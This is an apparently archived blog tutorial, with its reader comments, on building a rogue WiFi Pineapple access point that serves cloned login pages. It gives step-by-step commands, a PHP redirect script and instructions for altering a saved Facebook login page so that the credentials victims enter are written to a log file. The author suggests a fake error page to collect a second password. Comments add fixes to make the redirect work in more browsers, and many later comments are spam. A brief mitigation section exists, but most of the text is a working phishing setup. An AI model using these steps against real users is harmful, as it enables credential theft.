This guide builds on the Auto-Rickroll payload for the WiFi Pineapple. Following this guide you will be able to create a self-contained WiFi Pineapple or similar OpenWRT based wireless access point serving up faux websites to capture login credentials. The purpose of this article is to point out the simplicity of a phishing attack using the dnsmasq technique of the Auto-Rickroll payload, and how you can protect yourself from similar attacks. See the mitigation section at the bottom of the article for defense advice.

Demonstration

Before beginning please follow the instructions outlined in the Auto-Rickrolling WiFi-Pineapple article. Once complete we will:

  1. Install PHP and dependencies
  2. Configure PHP and HTTPD
  3. Testing the PHP installation
  4. Write redirection and capture scripts
  5. Modify a website to capture credentials

Install PHP and dependencies

The installation of PHP on OpenWRT is pretty straight forward. Considering the size limitations and power of your typically embedded device such as the WiFi Pineapple and what we’re trying to achieve I have opted for the 4x build of PHP, rather than the newer 5x. Feel free to deviate if your needs require the newer features of 5.

Begin by downloading and installing the following packages from downloads.openwrt.org: libopenssl_0.9.8i-3.2_mips.ipk, php4_4.4.7-1_mips.ipk, php4-cgi_4.4.7-1_mips.ipk and zlib_1.2.3-5_mips.ipk

packages

Alternatively, everything required for this hack can be downloaded in this archive.

Copy the package files (*.ipk) to the WiFi Pineapple in /root/ using the scp command in Linux or an SCP utility in Windows like WinSCP or Plink.

Open a shell on the WiFi Pineapple using your ssh client of choice (on Windows I recommend PuTTY) and login as root. You should already be located in /root/ after logging in. Issue the “pwd” command to be sure, or change directory to /root/ with “cd /root/”. Verify that the packages have been copied by issuing the “ls” to list the contents of the directory. You should see the four package files listed. To install them all issue “opkg install *.ipk”

After a few moments each package should be installed. Now it is time to configure PHP and the HTTP server.

Configure PHP and HTTPD

Two changes need to be made in order for the HTTP server to recognize .php files and process them correctly.

First we’ll need to add a line to the httpd.conf file in /etc/ so either open it with your favorite text editor (vi is already installed) or simply issue the command “echo “*.php:/usr/bin/php” >> /etc/httpd.conf”. Verify that the line has been added with “cat /etc/httpd.conf”

httpd-conf

Next we’ll need to add a line to the php.ini file in /etc/. Again open the file in an editor or add the line with “echo “cgi.force_redirect 0″ >> /etc/php.ini” and verify with “grep cgi.force_redirect /etc/php.ini”

php-ini

Now restart the web server either by issuing “/etc/init.d/httpd restart” or simpy rebooting the WiFi Pineapple with the “reboot” command. It’s also safe to simply unplug the power and plug it back in.

Once the HTTPD and PHP configuration files have been modified and the server has restarted we can move on to testing the PHP installation.

Testing the PHP installation

PHP has a handy little function for testing the its installation. If you rebooted your WiFi Pineapple you’ll need to log back into a shell as root. Once situated, change directory to /www/ with the “cd /www/” command. Now we’ll need to create a test.php file so issue “touch test.php”. Next issue “<?php phpinfo(); ?>” > test.php”. Verify that the string has written to the file with the command “cat test.php”.

phpinfo1

With the file written we can test the php install by navigating to test.php on the web server. Remember, following the instructions from the Auto-Rickrolling WiFi Pineapple article we’re able to get to the web server from any URL requested. Based on the dnsmasq.conf, there is no difference between example.com and google.com. Pointing your browser to, say, http://example.com/test.php should yield the following results:

phpinfo2

Write redirection and capture scripts

Given that the dnsmasq.conf file will send any URL requested to the root of the web server we will need to write a small PHP script to identify the requested URL and present the user with the corresponding page. Once the user logs into the faux page we’ll use an error.php script to capture the credentials and log them in a file.

Unfortunately at the time of writing I have been unable to convince the tiny web server to process php files as indexes. The cheap workaround for now is to write a simple meta redirect index.html file that points to our redirect.php script for the actual processing. Hopefully this step can be removed in the future, but for now you’ll need to open the index.html file in /www/ using your favorite editor and replace the contents with the following:

index-html


<html> <head> <meta http-equiv="REFRESH" content="0;url=redirect.php">

Now for the fun page. Create a redirect.php file with the command “touch redirect.php” and open it with a text editor, for example “vi redirect.php”.

Note: If you’re new to vi here’s a bare-minimum introduction: There are two modes to vi, command mode and insert mode. By default you’ll be in command mode. Press “i” to enter insert mode allowing you to type into the file. Press ESC to get back to command mode. The command “:x” saves and quits. Learn more about using vi.

Here’s an example redirect.php script. Modify as you see necessary. We’ll break it down line by line.

redirect-php

<?php
$ref = $_SERVER['HTTP_REFERER'];

if (strpos($ref, "facebook")) { header('Location: facebook.html'); }

require('peets.html');

?>

The first line tells PHP to start processing the following lines of code.

The second sets the value of the variable “ref” as the HTTP_REFERER. This variable is obtained from “_SERVER” and basically tells us what URL the client is coming from. Since dnsmasq.conf is set to send any website to the root of our web server this could be anything.

The third line uses the srtpos function to look inside the “ref” variable that we just set and see if the word “facebook” is somewhere inside. This means that both “http://facebook.com” and “http://www.facebook.com” would return true. Note: Same goes for facebooksucks.com or any variation that contains the string “facebook”.

If the word “facebook” is found in the variable “ref” the function header will set the location of the browser to facebook.html – a file we’ll create here in a minute.

To phish multiple domains you would create additional similar if statements customized to the urls desired.

The fourth line will only be processed if the statements above aren’t found to be true. In our example we’re only looking for facebook but the list could be more extensive. The require function tells php to load up the contents of the file—in our case peets.html. This could be anything from terms of service agreement, an in-flight Internet purchase page or the old index file from our beloved Auto-Rickroll.

The fifth line closes the PHP processing.

In order to capture the data posted from our faux pages we’ll need to craft an error.php file. Without going into a line-by-line explanation, basically this file looks for two variables posted to it – name and pass – and writes them to the file bitches.txt

error-php

We’ll need to create the bitches.txt file in /www/ and change its permissions so issue both “touch /www/bitches.txt” and “chmod 777 /www/bitches.txt”

I have included a few lines to prevent tampering and add logging. The end of the file is basic html to display a faux “503 Service Unavailable” error. Again, this can be customized to your hearts content. For example, returning to the login page may convince an unwitting user that their password wasn’t accepted and give them the opportunity to try “their other password”.

Modify a website to capture credentials

The last step in this phishing attack is to actually rip and modify the pages of our faux sites. In our example so far we’ve been using facebook.com as the target, so follow this example. Using a web browser (or getting fancy with curl or wget) save the homepage of your target site. In chrome click the wrench and choose “Save page as”. Save the site as “Web page complete”. This will save not only the HTML but create a folder including the additional image and javascript components.

facebook1

Open the html file in your favorite text editor and look for the following string: “form method=”post””. Set the action variable to equal “error.php”.

facebook2

Now check for the string “input type=”text”” and find the username field. Change the name variable to equal “name” if it is not so already.

facebook3-name

Finally check for the string “input type=”password”” and change the name variable to “pass”.

facebook4-pass

Your faux login page is now ready to be uploaded to the WiFi Pineapple. Using a tool such as WinSCP copy the facebook.html and accompanying facebook folder to /www/ on the device.

With these three modifications your error.php script will pickup the contents of the name and pass text fields. Test this by browsing to facebook.com while connected to your WiFi Pineapple. You should see your faux login page. Entering fake credentials should bring you to the error.php displaying a fake 503 error, and checking facebook.com/bitches.txt should display the captured information.

How not to fall victim to this attack

Obviously disk limitations on the WiFi Pineapple are going to prevent one from serving up face versions of every site on the Internet – so if you’re connected to one of these devious devices and can’t access an obscure URL, something is up. You’ll also notice that navigating to facebook.com in this example forwards you to facebook.com/facebook.html – which should be a sure sign of trouble. The most obvious part about this attack is that every domain you could possibly ping is going to report back a response from 192.168.1.1 – a huge red alert that you’re not in Kansas anymore.

ping-facebook

Finally keep in mind that having two or three passwords isn’t enough. Every site needs its own secure and unique password. Consider using a password manager such as LastPass, 1Password or KeePass.

For further reading and advice on identifying phishing sites see antiphishing.org.

Category:

Hack, WiFi Pineapple

Leave a Reply

Your email address will not be published. Required fields are marked *

*

51 Comments

  • Davidbl 4 years ago

    Hey Darren,

    The “default index” fix is not so simple unfortunately…
    Or at least i’m just doing it the hard way 😉

    Anyhoo, the source for httpd 1.11.2 states that I: is the right way to tell what default index page is to be used. But this does not work. I’m suspecting that the httpd.c have been static compiled with this information or i’m unable to markup the config file correctly.

    I’ve updated the busybox httpd to 1.18.4 and the same httpd.conf works like a charm! I now serv up index.php so i can do all the “redirecting/include” transparent.

    I’ve even been able to setup a E404: so i can catch all urls!

    Yummie 😉

    Cheers Dave

    • Good call Dave! Thanks. Mind sharing your E404 code?

    • Hey Dave,

      Can you post your .config for compiling busybox? I’d really appreciate it. I find menuconfig a bit confusing (for example, where is “free” or is it included by default? I looked everywhere).

      I compiled busybox w/ only httpd support and called it busyboxU (just to get httpd 1.11.2 to work) although I would like to just upgrade everything.

      ~AJ

      (I just learned how to “cross-compile” … YAY!!!)

  • Local User 4 years ago

    So based on Dave’s input can I just rename the redirect.php to index.php after updating or is there a better way to do the “redirecting/include” transparently? What’s the best way to implement the custom E404? Darren can you use this information and update the above tutorial? Thanks.

    • Keep in mind that the $_SERVER[‘REFERER’] variable is being sent to the redirect.php file from the index.html meta redirect. If you fix the index.php bug and go that route you’ll need to pull the site URL from $_SERVER[‘SERVER_NAME’] or $_SERVER [“SCRIPT_URI”]

      Thanks to Digininja for sending that tip by.

  • Hey,

    i’m really feeling stupid here but i cant get the php to work properly on my fon. I cant find the httpd.conf file in the /etc folder so i just made one without luck, i also tried another one which i found in /karma/etc/ but also without any luck. Any help would really be appriciated. Great show though!

    Thanks in advance

  • jimiz 4 years ago

    I am able to add the files and RickRoll but I can’t seem to get php to serve any php pages. every time I hit 192.168.1.1/test.php it tries to save the php file.

    I can run php -v on the pineapple and get the version but the http server won’t serve php

    Added the necessary elements to httpd.conf

    Could it be
    *.php:/usr/bin/php
    vs
    .php:/usr/bin/php

    • rtdev42 4 years ago

      I am having the same problem. I can run php –v on the pineapple, but when I try to hit any php pages the browser tries to save the file.

      Has anyone found a solution?

      • I had the same experience until setting cgi.force_redirect to 0 in /etc/php.ini

        • rtdev42 4 years ago

          Thanks, that pointed me in the right direction. For some reason I needed an = sign before the 0. Works now, Yessss!

          Last line in /etc/php.ini
          .
          .
          cgi.force_redirect = 0

          Thanks for you help.

  • Landon Mayo 4 years ago

    issue “grep cgi.force_redirect /etc/php.ini”

    check third line down if it looks like this:
    ; cgi.force_redirect = 1

    change it to this (using vi)
    cgi.force_redirect = 0

  • Fixed my previous issue with the fix above. BUT my $ref Variable is always empty, so i think there isn’t a HTTP_referer send. Tried that with firefox 4 and WinXP Win7 anyone have the same issue?

    Thanks

    • I have been having the same issue as “Apex”. No matter what site I pull up on any device it always goes to the “peets.html” file via the redirect.php. If I goto facebook.com same thing. If I add the facebook.html to the end of any url it looks as I would expect with the faux facebook page. I am sure I am missing something very simple but I need a second set of eyes to see it.

      Thanks in advance.

    • Made a few tests and believe that the issue does lie with the HTTP_referer being empty.

  • Having the same issue as Apex & Cory.
    Used the download package http://hak5.org/wp-content/uploads/2011/05/phish-pineapple.zip in order to save time and make sure that there where no typing errors. However I think there is something missing here.

    P.S. Luv HAK5 keep on with the good work.

  • MicahC 4 years ago

    I am also having the same issue as cory and apex. I have tried $_SERVER[‘SERVER_NAME’] or $_SERVER [“SCRIPT_URI”] and other redirection scripts with no avail. How can I fix this?

  • Hey guys,

    After updating httpd to 1.11.2 and using index.php, I started using $_SERVER[‘HTTP_HOST’] to figure out what page to display.

    This is how you should check w/ ‘HTTP_POST’
    $ref = $_SERVER[‘HTTP_HOST’];
    if (strpos($ref, “facebook”) !== false) { include “facebook.htm”; }

    For future reference, print_r($_SERVER) is a very helpful command. It prints out everything stored in the $_SERVER array, making it easy to Ctr-F > facebook and figure out what entry to use.

    Hope that helps!

    ~AJ

    • Thanks for…
      I believe the problem is to do with the $_SERVER[‘HTTP_REFERER’]and which browser is being used. I have tested the setup with Chrome and it works fine. However with IE it does not. IE and some software firewalls prevent the $_SERVER[‘HTTP_REFERER’]from taking a value for security reasons.
      An alternative approach could be based on alias DNS records and a web server that supports host headers. This cans easily achieved for example with a windows server running the IIS and DNS roles. However here we are moving away from the portably, self-containment, and low-cost of the little FON 2100 based Pineapple
      As a matter of interest you mentioned that you up updated the httpd 1.11.2 to 1.18.4, so that you could use index.php. I would be most grateful if you could maybe share the method with us. Many thanks in advance for your input

      • How to update to httpd 1.11.2: (Note: Linux users only)

        – Download Busybox 1.18.4 source from BusyBox website.

        – Extract

        – Download a mips cross-compiler: http://landley.net/aboriginal/downloads/binaries/cross-compiler-mips.tar.bz2

        – Extract

        – Insert the bin folder in the cross-compiler-mips folder into PATH. Command: PATH=$PATH:/path/to/compiler/bin

        – CD into BusyBox source folder.

        – Run: make allnoconfig

        – Wait until it has finished and run: make menuconfig

        – In networking tools, select “httpd” and leave all of the sub-options selected.

        – Exit and save the configuration

        – Run: make CROSS_COMPILE=mips-

        – Rename the “busybox” binary that was compiled to “busyboxU” (or anything different than “busybox”) and scp it to Fon

        – Place “busyboxU” in /bin and edit /etc/init.d/httpd and replace “/bin/httpd” near the top with “/bin/busyboxU”

        – Reboot

        That is how I got it to work. Let me know if you have any problems.

        ~Rain

        • May someone who have the same problems as me confirm if this work?

          Thanks

        • Using Linux Ubuntu 11.04.

          Downloaded and extracted the MIPS cross compiler to the root of the file system. http://landley.net/aboriginal/downloads/binaries/cross-compiler-mips.tar.bz2

          Downloaded and extracted http://busybox.net/downloads/busybox-1.18.4.tar.bz2 to \home\”USER”\Downloads\busybox-1.18.4

          In a terminal session PATH=$PATH:/cross-compiler-mips/bin.
          Checked that the above has been added to the PATH by running: echo $PATH which it had.

          Changed directory to \home\”USER”\Downloads\busybox-1.18.4
          Run: make allnoconfig

          Run: make menuconfig
          HOSTLD scripts/kconfig/mconf
          HOSTCC scripts/kconfig/lxdialog/checklist.o
          In file included from scripts/kconfig/lxdialog/checklist.c:24:0:
          scripts/kconfig/lxdialog/dialog.h:31:20: fatal error: curses.h: No such file or directory
          compilation terminated.
          make[2]: *** [scripts/kconfig/lxdialog/checklist.o] Error 1
          make[1]: *** [menuconfig] Error 2
          make: *** [menuconfig] Error 2

          Any help would be most appreciated. Thanks in advance:)

  • Local User 4 years ago

    Project = FAIL

    This only seems to work with Chrome Browser and most users will be using explorer or safari as they don’t know any better. Unless we can get this to work with all the basic browsers this project will remain as a “proof of concept” only.

    Love the jasager and pineapple.
    HAK5 Rules.

  • HearNoEvil 4 years ago

    I’m not sure if this setup provides a DNS server, but if we have DNS on the “victim”, cant we just tell the browser that facebook.com is at a certain port on 192.168.1.1? facebook.com could be 192.168.1.1:5678, twitter.com could be 192.168.1.1:7890?? I just thought that since webif and jasager web interfaces could show up on different ports on the pineapple, why not Facebook and Twitter?

  • Remember this is proof of concept. It would not be a good idea to deploy this on “anybody” in the the “real world”. The driving factors for these projects is to help us understand the underlying infrastructures and to try to protect them from such exploits, as IT pro’s should do…

  • cwb020 3 years ago

    It works with google Chrome but how can I make it work with internet explorer?
    Perhaps someone has an working redirect.php which works with internet explorer and safari

  • First of all thanks to the replies works flawlessly but only in chrome. So wouldn’t it be possible to do it with a VirtualHost for every site you want to phish? I wasn’t able to make the setup right or maybe it just dosen’t work…conclusions?

  • Emmett 3 years ago

    I received my pineapple a couple of days ago and was able to quickly get up and running, however,I notice that the signal gets weaker the longer the pineapple is on. I have my pineapple located near my laptop but the signal seems to fade. Has anyone else encountered this problem?

    Thank for the help and input.

    • Modem 3 years ago

      i’ve been having the same issue.. have to unplug just to get signal back and then it drops.. have you found a solution??

  • @apex Thats what I have been working on, sort of. I am working on creating a landing page like the RickRoll and then several different sign in options.
    Pineapple works great. Was able to SSH into it from Epic4G and view Karma’d clients. Flawless…

  • In your index.php file instead of using header() you can use Include() or require() and it will display with appending the /facebook.html or /twitter.html

  • Sounds like several of you were having the same issue as I am now, but I’m having a hard time understanding which fix fixed what. Could someone create a thread on the forum with updated instructions :-)

    Thanks!

  • Arsenius 3 years ago

    any fix already? havent found a forum post. and also have the problem that it always goes to peets.html

  • Chacka 3 years ago

    Does using a vpn protects you in this case? Any tools that i should have on my mac to protect me from this or at least alert me that something fishy is going on?

  • timothy88 3 years ago

    The instructions seem fairly complicated to me. I guess I am a noob. Can someone please confirm
    1) If the Phishing attacks work with IE and firefox?
    2) How hard/easy for someone like me to get it working with very little programming experience

    Thanks in advance

  • httpCRASH 3 years ago

    Hi,
    i get an “internet explorer can not show the page” error when i try to go to my test.php … i can access other non-php files fine in the www folder..
    i just cant figure out why i dont atleast get a file download when i try to access the php file… anyone got an idea??

    i got the following packages installed:

    aircrack-ng – 0.7-1 –
    base-files-atheros – 14-unknown –
    bridge – 1.4-1 –
    busybox – 1.11.2-2 –
    dnsmasq – 2.46-1 –
    dropbear – 0.51-2 –
    firewall – 1-1 –
    gpioctl – 1.0-1 –
    haserl – 0.9.24-1 –
    hostapd-mini – 0.6.6-1 –
    hotplug2 – 0.9+r102-2 –
    iptables – 1.4.0-1 –
    iptables-mod-conntrack – 1.4.0-1 –
    iptables-mod-nat – 1.4.0-1 –
    jasager – 2.1-1 –
    kernel – 2.6.26.5-atheros-1 –
    kmod-ipt-conntrack – 2.6.26.5-atheros-1 –
    kmod-ipt-core – 2.6.26.5-atheros-1 –
    kmod-ipt-nat – 2.6.26.5-atheros-1 –
    kmod-ipt-nathelper – 2.6.26.5-atheros-1 –
    kmod-madwifi – 2.6.26.5+r3314-atheros-2 –
    kmod-ppp – 2.6.26.5-atheros-1 –
    kmod-pppoe – 2.6.26.5-atheros-1 –
    libgcc – 4.1.2-14 –
    libopenssl – 0.9.8i-3.2 –
    libpthread – 0.9.28-8 –
    libruby – 1.8.6-p287-2 –
    libuci – 0.7.3-1 –
    mdk3 – v5-1 –
    mtd – 8 –
    opkg – 4564-3 –
    php4 – 4.4.7-1 –
    php4-cgi – 4.4.7-1 –
    ppp – 2.4.3-10 –
    ppp-mod-pppoe – 2.4.3-10 –
    ruby – 1.8.6-p287-2 –
    ruby-core – 1.8.6-p287-2 –
    ruby-rexml – 1.8.6-p287-2 –
    uci – 0.7.3-1 –
    uclibc – 0.9.29-14 –
    udevtrigger – 106-1 –
    webif – 0.3-4838 –
    wireless-tools – 29-2 –
    zlib – 1.2.3-5 –

    • httpCRASH 3 years ago

      just found out that if i run /usr/bin/php test.php from the command line i get the expected output, so PHP seems to work…
      but still cant figure out why its not giving me any response in the browser… puzzled

    • httpCRASH 3 years ago

      never mind.. got it working.. :o)

  • hi to all.. any fix? i also downloaded the zip.. copied excatly on the instructions ..i cant seem to make it work. please help

    • httpCRASH 3 years ago

      mine worked after i changed
      cgi.force_redirect 0
      to
      cgi.force_redirect = 0

      and restarted the webserver…

      (like Arsenius)
      but for some reason after i connect to the wifi, all sites i go to forwards to peets.html even when i go to facebook.com, so the redirect dosnt work right even though i used the one downloaded here 😮

      and after a couple of requests the router no longer broadcasts SSID, and terminate all connections.
      when i restore the “original” pineaple/karma config files the radio stays on, and the router works perfect again

  • exactly.. same problem.. doesnt work as in with the video. goes to peats.html not on facebook or twitter etc.. hope this one will be fixed

  • Manuel 3 years ago

    If the signal on your Pineapple is getting weaker, it might be because at some point you turn on the pineapple without plugging in the antenna, NEVER TURN ON ANY ACCESS POINT, ROUTER, WITHOUT THE ANTENNA

    • httpCRASH 3 years ago

      with the FON this is happening when running the jasager firmware, but not with a standart openwrt, so what your saying makes NO sense..

      I have always used an antenna, but also have this problem…

      what i have found out, was that mine seems to becomes unstable when the FON gets warm, mine seems stable when i set the antenna output to 10dbm
      I have ordered a big heatsink for mine, and will make a mod when it arrives to see if that solves the problem for good.

  • HttpCRASH 3 years ago

    Hi,
    I found a workaround, so that the redirect work correct for All browsers…
    Or actually im moving the redirect from php to the webserver..

    Moved HTTPD to port 81 (Can also be completly stopped)
    Installed lighttpd
    Moved facebook files to own www folder
    Moved twitter files to own www folder
    Renamed the html files to index.html
    Copied the error.php to each subfolder
    set up vhosts for each domain in lighttpd.conf
    Set up php in lighttpd.conf
    Restarted lighttpd

    And Bingo, now it works

  • ignacio 3 years ago

    dear all

    i install php4 in the pinneaple2 following the phishing excercise
    i worte a php and ulploaded to the jassager and a ctype error happen.
    i realize then then using php info function that the module was not install
    i try to search it in the webiste of openwrt and doesnt exist
    could you be so kind and give me a tip to these problem

  • Hi,

    Did this today on my home network just for fun. (home from work sick..)

    FYI and future reference:
    The username is not stored in the “name” variable any more..

    It is in.

    Changed the “error.php” to read.

    $nam = stripslashes($_POST[’email’]);

    This solved My problem.

    //G

  • Actually i have one question i did this same on linux server . Is it possible that we can do it on apache24 on windows.
    Thanks

  • This kind of phishing attack has been useful, but now its useless. Most browsers nowadays (2014) will force the user to use https on facebook, which will make this attack ineffective. Please tell me if anyone have already figured this out.

    • C0D3MAN 8 months ago

      Anyone with the new Mark v Pineapple I have everything working with my own custom php scripts. Email me if anyone wants to know how to get this going I can publish my files. I will try to do a writeup and post it somewhere soon.

  • It is in point of fact a nice and useful piece of information. I’m satisfied that
    you simply shared this helpful information with us.
    Please stay us up to date like this. Thanks for sharing.

  • This paragraph provides clear idea in favor of the new users
    of blogging, that in fact how to do running a blog.

  • I visit each day a few web pages and blogs to read articles or
    reviews, but this website offers quality based posts.

  • Hey there! Do you know if they make any plugins to assist with SEO?
    I’m trying to get my blog to rank for some targeted keywords but I’m not seeing very good results.
    If you know of any please share. Appreciate it!

  • Thank you for any other magnificent article. Where
    else may just anybody get that type of info in such an ideal way of writing?
    I’ve a presentation next week, and I am on the search for such info.

  • Saved as a favorite, I like your web site!

  • Incredible points. Outstanding arguments. Keep up the great
    spirit.

  • Good way of describing, and nice piece of writing to gget information on the topic of my presentation focus, which i am going to convey
    in college.

  • Heya i’m for the first time here. I came across this board
    and I find It truly useful & it helped me out a lot.
    I hope to give something back and aid others like you helped me – ???? ??????????? .

  • A person necessarily help to make severely
    articles I would state. That is the first time I frequented your web page and so far?
    I surprised with the analysis you made to make
    this actual publish extraordinary. Magnificent activity!

  • My family always say that I am killing my time here at net, except I know I am getting
    knowledge every day by reading such pleasant articles or
    reviews.

  • Hmm it appears like your blog ate my first comment (it was super long)
    so I guess I’ll just sum it up what I had written and say, I’m
    thoroughly enjoying your blog. I as well am an aspiring blog writer
    but I’m still new to the whole thing. Do you have any helpful hints
    for inexperienced blog writers? I’d really appreciate it.

  • Telecharger le pirateur de compte skype gratuit illimité maintenant et partager la nouvelle
    avec vos amis.

  • Thanks for sharing your thoughts on Hack. Regards

  • Thanks for a marvelous posting! I genuinely enjoyed reading it,
    you might be a great author.I will make certain to bookmark your blog and will often come back later in life.
    I want to encourage one to continue your great work, have
    a nice holiday weekend!

  • Ahaa, its fastidious discussion about this article here at this webpage,
    I have read all that, so now me also commenting at this place.

  • My spouse and I stumbled over here by a different website
    and thought I may as well check things out. I like what I see so now i am following you.
    Look forward to finding out about your web page again.

  • Hi there, this weekehd is nice in favor of
    me, since this moment i am reaing this great informative post here
    at my residence.

  • We stumbled over here different web page and
    thought I should check things out. I like what I see so i
    am just following you. Look forward to finding out about your
    web page yet again.

  • Your means of explaining all in this post is really good, every
    one be capable of without difficulty understand it, Thanks a lot.

  • Pourquoi mettre » Pirater un compte Facebook « Surtout que ce titre attire ceux intéressé par
    le piratage d’autrui.

  • When someone writes an article he/she maintains the thought of a user in his/her brain that how a user
    can be aware of it. Thus that’s why this post
    is great. Thanks!

  • Do you have any video of that? I’d like to find out some additional information.

  • I think that everything posted was actually very logical.
    But, think about this, what if you addedd a little information? I am not suggesting your content is not good, but what
    if you added something to maybe get a person’s attention? I mean Phishing wiuth a WiFi Pineapple is a little vanilla.

    You should glance at Yahoo’s front page and watch how they create post headlines to grab viewers to pen the links.
    Yoou might add a video or a related picture or ttwo tto grab people
    excited about what you’ve written. Just my opinion, it could
    bring your posts a little livelier.

  • Quality articles is the important to be a focus forr the viewers to visit the website, that’s what this web site is providing.

  • Detección y resolución de incidencias graves en PageSpeed
    para progresar la puntuación conseguida por su sitio.

  • Hello friends, how is all, and what you want to say about this paragraph, in my view its truly remarkable
    in support of me.

  • Before you already know it you will discover yourself scrounging for flowers, a card, a box of chocolates or a reservation at Applebee’s.
    With that said, additionally it is important to remember which everybody should have some say inside party details.
    The liquid supplementation drinks are centred around a fruit called ‘Mangostten’,
    it’s present in eastern Asia.

  • I’m curious to find out what blog system you have been working with?
    I’m experiencing some minor security problems with my latest website and I’d like to find
    something more safe. Do you have any recommendations?

  • Hola! I’ve been following your blog for a long time now and finally
    got the bravery to go ahead and give you a shout out
    from Atascocita Tx! Just wanted to tell you keep up the great job!

  • Hi there! Do you know if they make any plugins to safeguard against hackers?
    I’m kinda paranoid about losing everything I’ve worked hard on. Any tips?

  • Link exchange is nothing else but it is simply placing the other person’s
    webpage link on your page at appropriate place and other person will also do
    same in support of you.

  • The silver or gold ink is a great way to really make
    a simple stamp more formal. English may appeal if you’re looking for something a little crisper and cleaner than the typical script fonts.
    Here are some suggestions you may take when considering beach wedding.

  • I’ll right away take hold of your rss as I can not to find your e-mail subscription hyperlink or newsletter service.
    Do you’ve any? Kindly permit me recognize so that I may subscribe.
    By the way, what type of psychic services do you
    provide? Thanks

  • Most inexpensive Quartz watches have Plexiglas watch crystals.
    The second one is the Glass Evil Eye, yes, evil eye.
    For the most part, she was considerate and would keep some
    distance away form me she did smoke.

  • When someone writes an paragraph he/she keeps the thought
    of a user in his/her brain that how a user can understand it.
    Thus that’s why this piece of writing is outstdanding.
    Thanks!

  • Howdy are using WordPress for your site platform? I’m new
    to the blog world but I’m trying to get started and create my own. Do you need any html coding knowledge to make
    your own blog? Any help would be greatly appreciated!

  • This page definitely has all of the information I wanted about this subject
    and didn’t know who to ask.

  • Just wish to say your article is as astounding.
    The clearness in your put up is just excellent
    and i could assume you are a professional in this subject.
    Fine with your permission let me to seize your feed
    to stay up to date with forthcoming post. Thank you 1,000,
    000 and please keep up the enjoyable work.

  • A fasconating discussion is definitely worth comment.

    There’s no doubt that that you oughyt to publish more on this topic, it may
    not be a taboo matter but usually people don’t speak aboout these subjects.
    To the next! Cheers!!

  • This is a very good tip especially to those fresh to the blogosphere.
    Brief but very accurate information… Appreciate your sharing this one.
    A must read article!

  • Nice blog! Is your theme custom made or did you download it from somewhere?
    A design like yours with a few simple adjustements would really make my blog stand
    out. Please let me know where you got your theme.
    Thank you

  • Hello, yes this post is really pleasant and I have learned lot of
    things from it on the topic of blogging. thanks.

  • What’s Happening i’m new to this, I stumbled upon this I have found It positively useful
    and it has aided me out loads. I hope to contribute & assist different users like its aided me.
    Good job.

  • I thinjk that whwt you posted made a bunch off sense.
    But, consider this, suppose you were to write a awesome headline?
    I am not suggesting your content isn’t solid., bbut suppose you added a headline hat
    grabbed a person’s attention? I mean Phishing with a WiFi Pineapple is a little boring.
    You could look at Yahoo’s home page and see how they create post headlines to get people
    interested. You migt add a related video or a picture or two to grab readers interested
    about what you’ve written. In my opinion, it might
    bring your website a little livelier.

  • Everyone loves it when individuals come
    together and share ideas. Great blog, keep it up!
    http://qq188cc.co/
    http://qq188cc.co/en.php
    http;//qq188cc.co/ch.php

  • Hi there, just became aware of your blog through Google, and found that it is really informative.
    I’m going to watch out for brussels. I’ll appreciate if you continue this in future.
    A lot of people will be benefited from your writing.
    Cheers!

  • Hi there, i read your blog occasionally and i own a similar one
    and i was just wondering if you get a lot of spam responses?

    If so how do you reduce it, any plugin or anything
    you can recommend? I get so much lately it’s driving me insane so any support is very much appreciated.

  • It’s remarkable in support of me to have a site, which is helpful designed
    for my knowledge. thanks admin

  • If you’re ready to offer collateral to secure the borrowed funds amount you could possibly go for the cheap auto loans of
    unsecured type Marco if you’ve difficulty in obtaining inside them for hours enough money from
    paycheck to paycheck, the short loan service isn’t planning to
    allow you to within the end.

  • My relatives all the time say that I am killing my time
    here at web, however I know I am getting know-how daily by reading such good articles or
    reviews.

  • Good day! This is my first visit to your blog! We are a collection of volunteers and starting a
    new initiative in a community in the swme niche.
    Youur blokg provided us valuable information to workk on.
    You have done a extraordinary job!

  • Its like you read my mind! You appear to know so much about
    this, like you wrote the book in it or something.
    I think that you can do with some pics to drive the message home a little
    bit, but other than that, this is magnificent blog. A great read.
    I’ll definitely be back.

  • I loved as much as you will receive carried out right here.
    The sketch is attractive, your authored subject matter stylish.
    nonetheless, you command get got an shakiness over that you wish be delivering the following.

    unwell unquestionably come further formerly again since exactly the
    same nearly very often inside case you shield this
    increase.

  • Hey I know this is off topic but I was wondering if you knew
    of any widgets I could add to my blog that automatically tweet
    my newest twitter updates. I’ve been looking for a plug-in like this for quite some time and was hoping
    maybe you would have some experience with something like this.

    Please let me know if you run into anything. I truly enjoy reading your blog and I look forward to your new updates.

  • You need to take part in a contest for one of
    the most useful sites on the web. I will recommend this web site!

  • Jessie, TiP: I agree wholeheartedly.

  • I am sure this paragraph has touched all the intternet visitors, its
    really really fastidious paragraph on building up new blog.

  • whoah this weblog is magnificent i like studying your articles.
    Stay up the great work! You realize, many people are searching around
    for this information, you can aid them greatly.

  • Currently it sounds like WordPress is the preferred blogging
    platform out there right now. (from what I’ve read) Is that what you are using on your blog?

  • What’s up, I read your blog like every week. Your story-telling style is awesome,
    keep it up!

  • Really when someone doesn’t understand then its up to other visitors
    that they will assist, so here it happens.

  • Un ámbito fundamental de nuestra población es el de las inmobiliarias, y
    en concreto el de los pisos de alquiler.

  • Advanced level course, you get too study joining emergency treatment,
    fitting utilization of Automated External Defibrillator (AED) when heart failure strikes at the victimized individual and considerably
    more. So, find a course, select your desired dates and get enrolled now to become trained professionals
    of the medical industry. The AED pads that are applied to the victim’s
    chest, while CPR is in progress, can also assess and
    determine the victim’s heart (cardiac) rhythm.

  • Hi, i think that i saw you visited my weblog so i came to “return the favor”.I’m attempting to find things to improve my website!I suppose its ok
    to use a few of your ideas!!

  • I’m curious to find out what blog platform you are using?
    I’m having some minor security problems with my latest blog and I’d like to find something more safeguarded.
    Do you have any recommendations?

  • This will allow new clean skin to grow and allows the marks to heal and be removed.
    Stretch marks is something that some people are not able to deflect no matter how hard they attempt to.
    Stretch mark happens when the skin loses its elasticity due to lack of nourishment causing it to stretch
    and the dermis gets ripped for scars to appear.

  • Want to learn more but aren’t ready to PITCH yourself?

  • Then the engine must push the spent exhaust out to be forced
    out of the tailpipe. Many tractors get classified a s compact or sub compact, but that in fact can often be quite misleading.
    The past six months, the boss every day for
    the business of decreasing anxiety.

  • Hello to every one, since I am genuinely keen of reading this webpage’s post
    to be updated on a regular basis. It carries pleasant information.

  • Ask?ng questions are ?eally fastiious th?ng if y?u
    ?re not understanding anyth?ng completely, howe?er this article off?rs ?ood understanding
    ?ven.

  • Your style is very unique in comparison to other folks I have read stuff from.
    Many thanks for posting when you’ve got the opportunity,
